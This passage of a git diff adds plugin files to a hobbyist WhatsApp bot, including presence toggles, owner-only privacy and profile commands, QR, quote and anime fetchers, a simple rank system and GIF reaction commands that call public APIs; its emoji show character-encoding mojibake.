`./${pluginName}`; // Save the file locally + + // Save the file to the local system + fs.writeFileSync(pluginPath, pluginResponse.data); + + // Status message with image and caption + const statusMessage = { + image: { url: `https://cdn.ironman.my.id/i/2du3i5.jpg` }, // Replace with your image URL + caption: `*Successfully downloaded ${pluginName} โœ…*`, + contextInfo: { + mentionedJid: [senderNumber], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: '๐€ษญฤซฤซ ๐ŒฦŠ ๐’สŠฬŠ๐๐เนแึŸษผสˆ ๐Ÿ', + serverMessageId: 143 + } + } + }; + + // Send the file to the user + await conn.sendMessage( + from, + { + document: fs.readFileSync(pluginPath), + mimetype: 'application/javascript', // MIME type for JS files + fileName: pluginName + }, + { quoted: mek } + ); + + // Send the status message + await conn.sendMessage(from, statusMessage, { quoted: mek }); + + // Delete the local file after sending + fs.unlinkSync(pluginPath); + } catch (error) { + console.error("Error:", error); // Log the error + reply("*Error: Unable to download the plugin. Please check the plugin name or try again later.*"); + } +}); diff --git a/plugins/presence.js b/plugins/presence.js new file mode 100644 index 0000000000000000000000000000000000000000..2ba94d45940f8d4ff46c9284a65975d8aaa1c773 --- /dev/null +++ b/plugins/presence.js @@ -0,0 +1,130 @@ +const fs = require('fs'); +const path = require('path'); +const config = require('../config') +const {cmd , commands} = require('../command') + + +//auto recording +cmd({ + on: "body" +}, +async (conn, mek, m, { from, body, isOwner }) => { + if (config.AUTO_RECORDING === 'true') { + await conn.sendPresenceUpdate('recording', from); + } + } + ); + +//auto_voice +cmd({ + on: "body" +}, +async (conn, mek, m, { from, body, isOwner }) => { + const filePath = path.join(__dirname, '../data/autovoice.json'); + const data = JSON.parse(fs.readFileSync(filePath, 'utf8')); + for (const text in data) { + if (body.toLowerCase() === text.toLowerCase()) { + + if (config.AUTO_VOICE === 'true') { + //if (isOwner) return; + await conn.sendPresenceUpdate('recording', from); + await conn.sendMessage(from, { audio: { url: data[text] }, mimetype: 'audio/mpeg', ptt: true }, { quoted: mek }); + } + } + } +}); + +//auto sticker +cmd({ + on: "body" +}, +async (conn, mek, m, { from, body, isOwner }) => { + const filePath = path.join(__dirname, '../data/autosticker.json'); + const data = JSON.parse(fs.readFileSync(filePath, 'utf8')); + for (const text in data) { + if (body.toLowerCase() === text.toLowerCase()) { + + if (config.AUTO_STICKER === 'true') { + //if (isOwner) return; + await conn.sendMessage(from,{sticker: { url : data[text]},package: 'KHAN-MD'},{ quoted: mek }) + + } + } + } +}); + +//auto reply +cmd({ + on: "body" +}, +async (conn, mek, m, { from, body, isOwner }) => { + const filePath = path.join(__dirname, '../data/autoreply.json'); + const data = JSON.parse(fs.readFileSync(filePath, 'utf8')); + for (const text in data) { + if (body.toLowerCase() === text.toLowerCase()) { + + if (config.AUTO_REPLY === 'true') { + //if (isOwner) return; + await m.reply(data[text]) + + } + } + } +}); + +// Composing (Auto Typing) +cmd({ + on: "body" +}, +async (conn, mek, m, { from, body, isOwner }) => { + if (config.AUTO_TYPING === 'true') { + await conn.sendPresenceUpdate('composing', from); // send typing + } +}); + + +// Always Online +cmd({ + on: "body" +}, async (conn, mek, m, { from, isOwner }) => { + try { + if (config.ALWAYS_ONLINE === "true") { + // Always Online Mode: Bot always appears online (double tick) + await conn.sendPresenceUpdate("available", from); + } else { + // Dynamic Mode: Adjust presence based on owner's status + if (isOwner) { + // If the owner is online, show as available (double tick) + await conn.sendPresenceUpdate("available", from); + } else { + // If the owner is offline, show as unavailable (single tick) + await conn.sendPresenceUpdate("unavailable", from); + } + } + } catch (e) { + console.log(e); + } +}); + +// Public Mod +cmd({ + on: "body" +}, async (conn, mek, m, { from, isOwner }) => { + try { + if (config.ALWAYS_ONLINE === "true") { + // Public Mode + Always Online: Always show as online + await conn.sendPresenceUpdate("available", from); + } else if (config.PUBLIC_MODE === "true") { + // Public Mode + Dynamic: Respect owner's presence + if (isOwner) { + // If owner is online, show available + await conn.sendPresenceUpdate("available", from); + } else { + // If owner is offline, show unavailable + await conn.sendPresenceUpdate("unavailable", from); + } + } + } catch (e) { + console.log(e); + } +}); diff --git a/plugins/privacy.js b/plugins/privacy.js new file mode 100644 index 0000000000000000000000000000000000000000..760d1d37df9b9f38c516562106aa6b2294e55ccd --- /dev/null +++ b/plugins/privacy.js @@ -0,0 +1,268 @@ +const fs = require("fs"); +const config = require("../config"); +const { cmd, commands } = require("../command"); +const path = require('path'); + + + +cmd({ + pattern: "blocklist", + desc: "View the list of blocked users.", + category: "privacy", + react: "๐Ÿ“‹", + filename: __filename +}, +async (conn, mek, m, { from, isOwner, reply }) => { + if (!isOwner) return reply("*๐Ÿ“› You are not the owner!*"); + + try { + // Fetch the block list + const blockedUsers = await conn.fetchBlocklist(); + + if (blockedUsers.length === 0) { + return reply("๐Ÿ“‹ Your block list is empty."); + } + + // Format the blocked users with ๐Ÿ“Œ and count the total + const list = blockedUsers + .map((user, i) => `๐Ÿšง BLOCKED ${user.split('@')[0]}`) // Remove domain and add ๐Ÿ“Œ + .join('\n'); + + const count = blockedUsers.length; + reply(`๐Ÿ“‹ Blocked Users (${count}):\n\n${list}`); + } catch (err) { + console.error(err); + reply(`โŒ Failed to fetch block list: ${err.message}`); + } +}); + +cmd({ + pattern: "getbio", + desc: "Displays the user's bio.", + category: "privacy", + filename: __filename, +}, async (conn, mek, m, { args, reply }) => { + try { + const jid = args[0] || mek.key.remoteJid; + const about = await conn.fetchStatus?.(jid); + if (!about) return reply("No bio found."); + return reply(`User Bio:\n\n${about.status}`); + } catch (error) { + console.error("Error in bio command:", error); + reply("No bio found."); + } +}); +cmd({ + pattern: "setppall", + desc: "Update Profile Picture Privacy", + category: "privacy", + react: "๐Ÿ”", + filename: __filename +}, +async (conn, mek, m, { from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + if (!isOwner) return reply("โŒ You are not the owner!"); + + try { + const value = args[0] || 'all'; + const validValues = ['all', 'contacts', 'contact_blacklist', 'none']; + + if (!validValues.includes(value)) { + return reply("โŒ Invalid option. Valid options are: 'all', 'contacts', 'contact_blacklist', 'none'."); + } + + await conn.updateProfilePicturePrivacy(value); + reply(`โœ… Profile picture privacy updated to: ${value}`); + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); +cmd({ + pattern: "setonline", + desc: "Update Online Privacy", + category: "privacy", + react: "๐Ÿ”", + filename: __filename +}, +async (conn, mek, m, { from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + if (!isOwner) return reply("โŒ You are not the owner!"); + + try { + const value = args[0] || 'all'; + const validValues = ['all', 'match_last_seen']; + + if (!validValues.includes(value)) { + return reply("โŒ Invalid option. Valid options are: 'all', 'match_last_seen'."); + } + + await conn.updateOnlinePrivacy(value); + reply(`โœ… Online privacy updated to: ${value}`); + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "setpp", + desc: "Set bot profile picture.", + category: "privacy", + react: "๐Ÿ–ผ๏ธ", + filename: __filename +}, +async (conn, mek, m, { from, isOwner, quoted, reply }) => { + if (!isOwner) return reply("โŒ You are not the owner!"); + if (!quoted || !quoted.message.imageMessage) return reply("โŒ Please reply to an image."); + try { + const stream = await downloadContentFromMessage(quoted.message.imageMessage, 'image'); + let buffer = Buffer.from([]); + for await (const chunk of stream) { + buffer = Buffer.concat([buffer, chunk]); + } + + const mediaPath = path.join(__dirname, `${Date.now()}.jpg`); + fs.writeFileSync(mediaPath, buffer); + + // Update profile picture with the saved file + await conn.updateProfilePicture(conn.user.jid, { url: `file://${mediaPath}` }); + reply("๐Ÿ–ผ๏ธ Profile picture updated successfully!"); + } catch (error) { + console.error("Error updating profile picture:", error); + reply(`โŒ Error updating profile picture: ${error.message}`); + } +}); + +cmd({ + pattern: "setmyname", + desc: "Set your WhatsApp display name.", + category: "privacy", + react: "โš™๏ธ", + filename: __filename +}, +async (conn, mek, m, { from, isOwner, reply, args }) => { + if (!isOwner) return reply("โŒ You are not the owner!"); + + // Ensure you have the display name argument + const displayName = args.join(" "); + if (!displayName) return reply("โŒ Please provide a display name."); + + try { + // Ensure the session is loaded before trying to update + const { state, saveCreds } = await useMultiFileAuthState('path/to/auth/folder'); + const conn = makeWASocket({ + auth: state, + printQRInTerminal: true, + }); + + conn.ev.on('creds.update', saveCreds); + + // Update display name after connection + await conn.updateProfileName(displayName); + reply(`โœ… Your display name has been set to: ${displayName}`); + } catch (err) { + console.error(err); + reply("โŒ Failed to set your display name."); + } +}); + +cmd({ + pattern: "updatebio", + react: "๐Ÿฅ", + desc: "Change the Bot number Bio.", + category: "privacy", + use: '.updatebio', + filename: __filename +}, +async (conn, mek, m, { from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + if (!isOwner) return reply('๐Ÿšซ *You must be an Owner to use this command*'); + if (!q) return reply('โ“ *Enter the New Bio*'); + if (q.length > 139) return reply('โ— *Sorry! Character limit exceeded*'); + await conn.updateProfileStatus(q); + await conn.sendMessage(from, { text: "โœ”๏ธ *New Bio Added Successfully*" }, { quoted: mek }); + } catch (e) { + reply('๐Ÿšซ *An error occurred!*\n\n' + e); + l(e); + } +}); +cmd({ + pattern: "groupsprivacy", + desc: "Update Group Add Privacy", + category: "privacy", + react: "๐Ÿ”", + filename: __filename +}, +async (conn, mek, m, { from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + if (!isOwner) return reply("โŒ You are not the owner!"); + + try { + const value = args[0] || 'all'; + const validValues = ['all', 'contacts', 'contact_blacklist', 'none']; + + if (!validValues.includes(value)) { + return reply("โŒ Invalid option. Valid options are: 'all', 'contacts', 'contact_blacklist', 'none'."); + } + + await conn.updateGroupsAddPrivacy(value); + reply(`โœ… Group add privacy updated to: ${value}`); + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); + +cmd({ + pattern: "getprivacy", + desc: "Get the bot Number Privacy Setting Updates.", + category: "privacy", + use: '.getprivacy', + filename: __filename +}, +async (conn, mek, m, { from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + if (!isOwner) return reply('๐Ÿšซ *You must be an Owner to use this command*'); + const duka = await conn.fetchPrivacySettings?.(true); + if (!duka) return reply('๐Ÿšซ *Failed to fetch privacy settings*'); + + let puka = ` +โ•ญโ”€โ”€โ”€ใ€Œ ๐™ฟ๐š๐™ธ๐š…๐™ฐ๐™ฒ๐šˆ ใ€โ”€โ”€โ”€โ—† +โ”‚ โˆ˜ ๐š๐šŽ๐šŠ๐š ๐š๐šŽ๐šŒ๐šŽ๐š’๐š™๐š: ${duka.readreceipts} +โ”‚ โˆ˜ ๐™ฟ๐š›๐š˜๐š๐š’๐š•๐šŽ ๐™ฟ๐š’๐šŒ๐š๐šž๐š›๐šŽ: ${duka.profile} +โ”‚ โˆ˜ ๐š‚๐š๐šŠ๐š๐šž๐šœ: ${duka.status} +โ”‚ โˆ˜ ๐™พ๐š—๐š•๐š’๐š—๐šŽ: ${duka.online} +โ”‚ โˆ˜ ๐™ป๐šŠ๐šœ๐š ๐š‚๐šŽ๐šŽ๐š—: ${duka.last} +โ”‚ โˆ˜ ๐™ถ๐š›๐š˜๐šž๐š™ ๐™ฟ๐š›๐š’๐šŸ๐šŠ๐šŒ๐šข: ${duka.groupadd} +โ”‚ โˆ˜ ๐™ฒ๐šŠ๐š•๐š• ๐™ฟ๐š›๐š’๐šŸ๐šŠ๐šŒ๐šข: ${duka.calladd} +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€`; + await conn.sendMessage(from, { text: puka }, { quoted: mek }); + } catch (e) { + reply('๐Ÿšซ *An error occurred!*\n\n' + e); + l(e); + } +}); +cmd({ + pattern: "getpp", + desc: "Fetch the profile picture of a tagged or replied user.", + category: "owner", + filename: __filename +}, async (conn, mek, m, { quoted, isGroup, sender, participants, reply }) => { + try { + // Determine the target user + const targetJid = quoted ? quoted.sender : sender; + + if (!targetJid) return reply("โš ๏ธ Please reply to a message to fetch the profile picture."); + + // Fetch the user's profile picture URL + const userPicUrl = await conn.profilePictureUrl(targetJid, "image").catch(() => null); + + if (!userPicUrl) return reply("โš ๏ธ No profile picture found for the specified user."); + + // Send the user's profile picture + await conn.sendMessage(m.chat, { + image: { url: userPicUrl }, + caption: "๐Ÿ–ผ๏ธ Here is the profile picture of the specified user." + }); + } catch (e) { + console.error("Error fetching user profile picture:", e); + reply("โŒ An error occurred while fetching the profile picture. Please try again later."); + } +}); + + diff --git a/plugins/qr-generator.js b/plugins/qr-generator.js new file mode 100644 index 0000000000000000000000000000000000000000..8d1aa793b27592152e4b00817a52f1d10163f71d --- /dev/null +++ b/plugins/qr-generator.js @@ -0,0 +1,51 @@ + + +const moment = require("moment"); +const axios = require('axios'); +const config = require('../config'); +const { cmd, commands } = require('../command'); + +cmd({ + pattern: 'qrcode', + alias: ['qr'], + react: '๐Ÿ”„', + desc: 'Generate a QR code.', + category: 'main', + filename: __filename +}, async (conn, mek, m, { + from, + quoted, + body, + isCmd, + command, + args, + q, + isGroup, + sender, + senderNumber, + botNumber2, + botNumber, + pushname, + isMe, + isOwner, + groupMetadata, + groupName, + participants, + groupAdmins, + isBotAdmins, + isAdmins, + reply +}) => { + try { + if (!q) return reply('Please provide text to generate QR code.'); + await reply('> *ali Generating QR code...๐Ÿ”„*'); + const apiUrl = `https://api.qrserver.com/v1/create-qr-code/?data=${encodeURIComponent(q)}&size=200x200`; + const response = await axios.get(apiUrl, { responseType: 'arraybuffer' }); + const buffer = Buffer.from(response.data, 'binary'); + + await conn.sendMessage(m.chat, { image: buffer }, { quoted: m, caption: 'QR Code By ALi Md' }); + } catch (error) { + console.error(error); + reply(`An error occurred: ${error.message}`); + } +}); diff --git a/plugins/quote.js b/plugins/quote.js new file mode 100644 index 0000000000000000000000000000000000000000..f3e7df0bfc35fb5398bc47df8c8d2f99e249f1ba --- /dev/null +++ b/plugins/quote.js @@ -0,0 +1,27 @@ + + +const axios = require('axios'); +const { cmd } = require('../command'); + +cmd({ + pattern: "quote", + desc: "Get a random inspiring quote.", + category: "fun", + react: "๐Ÿ’ฌ", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const response = await axios.get('https://api.quotable.io/random'); + const quote = response.data; + const message = ` +๐Ÿ’ฌ "${quote.content}" +- ${quote.author} +*QUOTES BY ALI TECH* + `; + return reply(message); + } catch (e) { + console.error("Error fetching quote:", e); + reply("ยขฯƒฯ…โ„“โˆ‚ ฮทฯƒั‚ ฦ’ั”ั‚ยขะฝ ฮฑ qฯ…ฯƒั‚ั”. ฯโ„“ั”ฮฑั•ั” ั‚ััƒ ฮฑgฮฑฮนฮท โ„“ฮฑั‚ั”ั."); + } +}); diff --git a/plugins/random-anime.js b/plugins/random-anime.js new file mode 100644 index 0000000000000000000000000000000000000000..7cc0c5939b122c24567426bd37c49d7924b908b6 --- /dev/null +++ b/plugins/random-anime.js @@ -0,0 +1,38 @@ + + +const { cmd } = require("../command"); +const axios = require("axios"); + +cmd({ + pattern: "rdanime", + alias: ["randomanime"], + desc: "Get a random anime.", + category: "fun", + react: "๐ŸŽฅ", + filename: __filename +}, async (conn, mek, m, { reply }) => { + try { + // Requรชte ร  l'API pour obtenir un anime alรฉatoire + const response = await axios.get("https://api.jikan.moe/v4/random/anime"); + + // Extraire les donnรฉes de l'anime + const anime = response.data.data; + const animeTitle = anime.title; + const animeImage = anime.images.jpg.large_image_url; + const animeSynopsis = anime.synopsis || "No synopsis available for this anime."; + const animeEpisodes = anime.episodes || "N/A"; // Nombre d'รฉpisodes + const animeStatus = anime.status || "Status not available"; // Statut de l'anime (en cours, terminรฉ, etc.) + + // Prรฉparer la rรฉponse avec les informations de l'anime + const message = `๐ŸŽฅ *Random Anime:* \n\n*Title:* ${animeTitle} \n*Synopsis:* ${animeSynopsis} \n*Episodes:* ${animeEpisodes} \n*Status:* ${animeStatus}`; + + // Envoyer le message avec l'image et les informations supplรฉmentaires + await conn.sendMessage(m.chat, { + image: { url: animeImage }, + caption: message + }, { quoted: mek }); + } catch (error) { + console.error(error); + reply("โš ๏ธ *An error occurred while fetching the anime. Please try again later.*"); + } +}); diff --git a/plugins/rank.js b/plugins/rank.js new file mode 100644 index 0000000000000000000000000000000000000000..ea7506b2fe26c6368e282b4c7383aa0ff6a61725 --- /dev/null +++ b/plugins/rank.js @@ -0,0 +1,77 @@ + + +const { cmd } = require('../command'); + +// Simulated in-memory storage for user levels +const userLevels = {}; + +// Function to calculate level based on XP +const calculateLevel = (xp) => Math.floor(0.1 * Math.sqrt(xp)); + +cmd({ + pattern: "rank", // Adjusted to rank + desc: "Check the level of a user.", + react: "๐Ÿ“Š", + category: "utility", + use: ".rank [@mention or reply]", + filename: __filename, +}, async (conn, mek, m, { reply, isGroup, mentionedJid }) => { + try { + let target; + + // Determine the target user + // Case 1: If there's a mention, use the mentioned user. + if (mentionedJid?.length > 0) { + target = mentionedJid[0]; // First mentioned user + } + // Case 2: If the user is replying to a message, use the sender of the quoted message. + else if (m.quoted && m.quoted.sender) { + target = m.quoted.sender; // User who sent the quoted message + } + // Case 3: If neither mention nor reply, use the sender of the command. + else { + target = m.sender; // Default to the sender if no mention or reply + } + + if (!target) { + return reply("โŒ Please mention a user or reply to their message to check their rank."); + } + + // Initialize user data if not present + if (!userLevels[target]) { + userLevels[target] = { experience: 0, messages: 0 }; + } + + // Simulate experience gain + const userData = userLevels[target]; + userData.messages += 1; + userData.experience += Math.floor(Math.random() * 10) + 5; + + const level = calculateLevel(userData.experience); + const nextLevelXP = Math.pow((level + 1) / 0.1, 2); + const currentLevelXP = Math.pow(level / 0.1, 2); + const progressPercent = Math.floor(((userData.experience - currentLevelXP) / (nextLevelXP - currentLevelXP)) * 100); + const progressBar = "โญ".repeat(progressPercent / 10) + "โšช".repeat(10 - progressPercent / 10); + + // URL of the image for the rank + const levelImageURL = "https://i.ibb.co/60pdvSxw/mrfrankofc.jpg"; // Replace with your desired image URL + + // Send rank information in text and image + const caption = `๐Ÿ“Š *Rank Information*\n\n๐Ÿ‘ค *User*: @${ + target.split("@")[0] + }\n๐Ÿ” *Level*: ${level}\n๐Ÿ”„ *Progression*: ${progressPercent}%\n${progressBar}\n๐Ÿ“ฉ *Messages Sent*: ${ + userData.messages + }\nโœจ *XP*: ${userData.experience}\n\n> ๐Ÿงžโ€โ™‚๏ธPOWERED BY ALI๐Ÿงžโ€โ™‚๏ธ`; + + // Send the image and caption together + await conn.sendMessage( + m.chat, + { image: { url: levelImageURL }, caption, mentions: [target] }, + { quoted: mek } + ); + + } catch (error) { + console.error("Error in rank command:", error); + reply("โŒ An error occurred while fetching the rank. Please try again."); + } +}); diff --git a/plugins/reactions.js b/plugins/reactions.js new file mode 100644 index 0000000000000000000000000000000000000000..00630d06ae85d10a498862994246e49da39cfe01 --- /dev/null +++ b/plugins/reactions.js @@ -0,0 +1,1057 @@ +const { cmd } = require("../command"); +const { fetchGif, gifToVideo } = require("../lib/fetchGif"); +const axios = require("axios"); + +cmd( + { + pattern: "cry", + desc: "Send a crying reaction GIF.", + category: "fun", + react: "๐Ÿ˜ข", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} is crying over @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is crying!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/cry"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .cry command:", error); + reply(`โŒ *Error in .cry command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "cuddle", + desc: "Send a cuddle reaction GIF.", + category: "fun", + react: "๐Ÿค—", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} cuddled @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is cuddling everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/cuddle"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .cuddle command:", error); + reply(`โŒ *Error in .cuddle command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "bully", + desc: "Send a bully reaction GIF.", + category: "fun", + react: "๐Ÿ˜ˆ", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} is bullying @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is bullying everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/bully"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .bully command:", error); + reply(`โŒ *Error in .bully command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "hug", + desc: "Send a hug reaction GIF.", + category: "fun", + react: "๐Ÿค—", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} hugged @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is hugging everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/hug"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .hug command:", error); + reply(`โŒ *Error in .hug command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + + +cmd( + { + pattern: "awoo", + desc: "Send an awoo reaction GIF.", + category: "fun", + react: "๐Ÿบ", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} awoos at @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is awooing everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/awoo"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .awoo command:", error); + reply(`โŒ *Error in .awoo command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "lick", + desc: "Send a lick reaction GIF.", + category: "fun", + react: "๐Ÿ‘…", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + + let message = mentionedUser ? `${sender} licked @${mentionedUser.split("@")[0]}` : `${sender} licked themselves!`; + + const apiUrl = "https://api.waifu.pics/sfw/lick"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .lick command:", error); + reply(`โŒ *Error in .lick command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "pat", + desc: "Send a pat reaction GIF.", + category: "fun", + react: "๐Ÿซ‚", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} patted @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is patting everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/pat"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .pat command:", error); + reply(`โŒ *Error in .pat command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "smug", + desc: "Send a smug reaction GIF.", + category: "fun", + react: "๐Ÿ˜", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} is smug at @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is feeling smug!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/smug"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .smug command:", error); + reply(`โŒ *Error in .smug command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "bonk", + desc: "Send a bonk reaction GIF.", + category: "fun", + react: "๐Ÿ”จ", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} bonked @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is bonking everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/bonk"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .bonk command:", error); + reply(`โŒ *Error in .bonk command:*\n\`\`\`${error.message}\`\`\``); 